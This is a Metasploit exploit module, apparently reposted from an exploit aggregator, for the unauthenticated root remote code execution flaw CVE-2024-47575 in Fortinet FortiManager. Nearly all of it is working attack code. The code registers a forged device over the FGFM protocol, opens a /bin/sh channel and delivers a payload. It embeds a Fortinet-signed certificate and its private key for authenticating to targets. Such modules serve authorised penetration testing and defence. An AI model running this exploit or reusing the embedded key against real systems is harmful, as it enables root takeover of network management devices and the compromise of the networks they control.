Share
## https://sploitus.com/exploit?id=PACKETSTORM:182936
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Fortinet FortiManager Unauthenticated RCE',  
'Description' => %q{  
This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager  
Cloud devices to achieve unauthenticated RCE with root privileges.  
  
The vulnerable FortiManager versions are:  
* 7.6.0  
* 7.4.0 through 7.4.4  
* 7.2.0 through 7.2.7  
* 7.0.0 through 7.0.12  
* 6.4.0 through 6.4.14  
* 6.2.0 through 6.2.12  
  
The vulnerable FortiManager Cloud versions are:  
* 7.4.1 through 7.4.4  
* 7.2.1 through 7.2.7  
* 7.0.1 through 7.0.12  
* 6.4 (all versions).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF Exploit & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2024-47575'],  
# AttackerKB Rapid7 Analysis.  
['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'],  
# Bishop Fox details certificate requirements for connecting to the FGFM service.  
['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'],  
# Vendor Advisory.  
['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423']  
],  
'DisclosureDate' => '2024-10-23',  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD],  
'Privileged' => true, # Code execution as 'root'  
'DefaultOptions' => {  
'RPORT' => 541,  
'SSL' => true,  
'FETCH_WRITABLE_DIR' => '/tmp'  
},  
'Targets' => [ [ 'Default', {} ] ],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
# The exploit provides a suitable client certificate/key pair by default, however we can let a user configure  
# a different certificate/key pair to use if they want. The user can also override the serial number and  
# platform if needed, but the exploit will try to detect the serial number and platform from the certificate  
# by default.  
OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']),  
OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']),  
OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']),  
OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.'])  
]  
)  
end  
  
def check  
fgfm_sock = make_socket  
  
peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert)  
  
fgfm_sock.close  
  
organization = get_cert_subject_item(peer_cert, 'O')  
  
common_name = get_cert_subject_item(peer_cert, 'CN')  
  
# Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using.  
# We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial  
# number identifier.  
return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG')  
  
CheckCode::Unknown  
end  
  
def exploit  
client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert  
  
client_cert = OpenSSL::X509::Certificate.new(client_cert_raw)  
  
common_name = get_cert_subject_item(client_cert, 'CN')  
  
fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name  
  
print_status("Client certificate common name: #{common_name}")  
  
serial_number = 'FMG-VM0000000000'  
platform = 'FortiManager-VM64'  
  
# The platform needs to be the expected type of the corresponding serial number. We try to match these up here,  
# and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options  
# in case it is needed.  
if common_name.start_with? 'FMG'  
serial_number = common_name  
platform = 'FortiManager-VM64'  
elsif common_name.start_with? 'FG'  
serial_number = common_name  
platform = 'FortiGate-VM64'  
else  
print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.')  
end  
  
serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber']  
  
platform = datastore['ClientPlatform'] if datastore['ClientPlatform']  
  
print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.")  
  
print_status('Connecting...')  
  
fgfm_sock = make_socket  
  
fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock  
  
print_status('Registering device...')  
  
req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00"  
  
resp1 = send_packet(fgfm_sock, req1)  
  
unless resp1&.include?('reply 200')  
fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.')  
end  
  
print_status('Creating channel...')  
  
req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00"  
  
resp2 = send_packet(fgfm_sock, req2)  
  
unless resp2&.include?('action=ack')  
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.')  
end  
  
localid = resp2.match(/localid=(\d+)/)  
unless localid  
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.')  
end  
  
print_status('Triggering...')  
  
req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n"  
  
send_packet(fgfm_sock, req3, read: false)  
end  
  
# We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may  
# either be a file path, or a blob of text.  
def make_socket  
hash = {  
'Proto' => 'tcp',  
'PeerHost' => datastore['RHOST'],  
'PeerPort' => datastore['RPORT'],  
'SSL' => true,  
'SSLVerifyMode' => 'NONE',  
'Context' =>  
{  
'Msf' => framework,  
'MsfExploit' => self  
}  
}  
  
hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert']  
  
hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey']  
  
params = Rex::Socket::Parameters.from_hash(hash)  
  
params.ssl_client_cert = get_client_cert unless datastore['ClientCert']  
  
params.ssl_client_key = get_client_key unless datastore['ClientKey']  
  
fgfm_sock = Rex::Socket::Tcp.create_param(params)  
  
# Register our new socket, so that abort_sockets will close this socket after the payload handler  
# has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout  
# in the exploit method, before we manually close the socket and then try to catch the session. We want to keep  
# the socket open until we have a session, as closing the socket too quickly can prevent the payload command  
# we transmit over the FGFM channel on this socket from executing.  
add_socket(fgfm_sock)  
  
fgfm_sock  
end  
  
def send_packet(fgfm_sock, data, read: true)  
packet = [0x36E01100, data.length + 8].pack('NN')  
  
packet += data  
  
fgfm_sock.write(packet)  
  
return nil unless read  
  
header = fgfm_sock.read(8)  
  
unless header  
print_error('Failed to read an FGFM header')  
return nil  
end  
  
magic, len = header.unpack('NN')  
  
unless magic == 0x36E01100  
print_error('Bad magic value in FGFM header')  
return nil  
end  
  
unless len >= 8  
print_error('Bad length value in FGFM header')  
return nil  
end  
  
fgfm_sock.read(len - 8)  
end  
  
def get_cert_subject_item(cert, type)  
cert.subject.to_a.each do |item|  
return item[1] if item[0] == type  
end  
nil  
end  
  
=begin  
An x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with a  
serial number of FMG-VM0000000000 and a platform of FortiManager-VM64.  
  
$ sha1sum Fortinet_Local2.cer  
9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer  
$ sha1sum Fortinet_Local2.key  
d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key  
$ openssl x509 -noout -text -in Fortinet_Local2.cer  
Certificate:  
Data:  
Version: 3 (0x2)  
Serial Number: 405822 (0x6313e)  
Signature Algorithm: sha256WithRSAEncryption  
Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = support@fortinet.com  
Validity  
Not Before: Nov 10 21:14:26 2017 GMT  
Not After : Jan 19 03:14:07 2038 GMT  
Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = support@fortinet.com  
=end  
def get_client_cert  
"-----BEGIN CERTIFICATE-----  
MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJV  
UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD  
VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw  
DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0  
LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQG  
EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw  
DwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQD  
ExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRp  
bmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeV  
jIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS//w  
oCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKd  
pwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPn  
hl/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI/JbxrWPEh+zRLqA7ZrWeBPl0AE  
IXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcR  
utg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEA  
l265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI/kBPVYCg  
zP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k/QDmiv  
w7/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl  
35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bd  
ikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+  
7pactwTnQmwhvlLQ7Z/dOg==  
-----END CERTIFICATE-----"  
end  
  
def get_client_key  
"-----BEGIN PRIVATE KEY-----  
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyH  
BPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX/LWgAJueapqnkv/8KAi  
UKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacD  
CX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf  
7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0  
yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ/po3EbrY  
OjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf/ZflfJ4SaZWLfNPne6vTc1RbJG  
ABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adj  
pdjv/EOAniRL+b37nt3TzSc154fOtojUGclBoAF/IMYroDlmIoLPDcZzOIAxC+GU  
BCkCh/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT  
0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah/A9ODqMM2BJUxovW8XgR9wOIXN2  
3aWwmPeAtTnVhvBaHJL/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3Ve  
nmD1o7zDyGAe0bGLN4rIou6I/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBl  
DQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8y  
jFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz  
6cxb4d4TWsRsK73Bv1VFRg/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG/rUSp6  
KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB/SP/p2YxkdgjPF/sllPEAkgHznW  
Gwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv/zPRSVO5F/9fJYHdWZe0eL  
1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbj  
MMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9/cQKBgQDB  
2GEPugLAqI6fDoRYjNdqy/Q/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E  
871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0Q  
IU/BI5e/NeEfzFPYH0Wvs0Sg/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9i  
BFpFMaECkVcf6YotgQuUKf6uGgF+/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4e  
oDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDu  
Lh1BvSCTWFh0WIUxOrNlmlg1Uw==  
-----END PRIVATE KEY-----"  
end  
end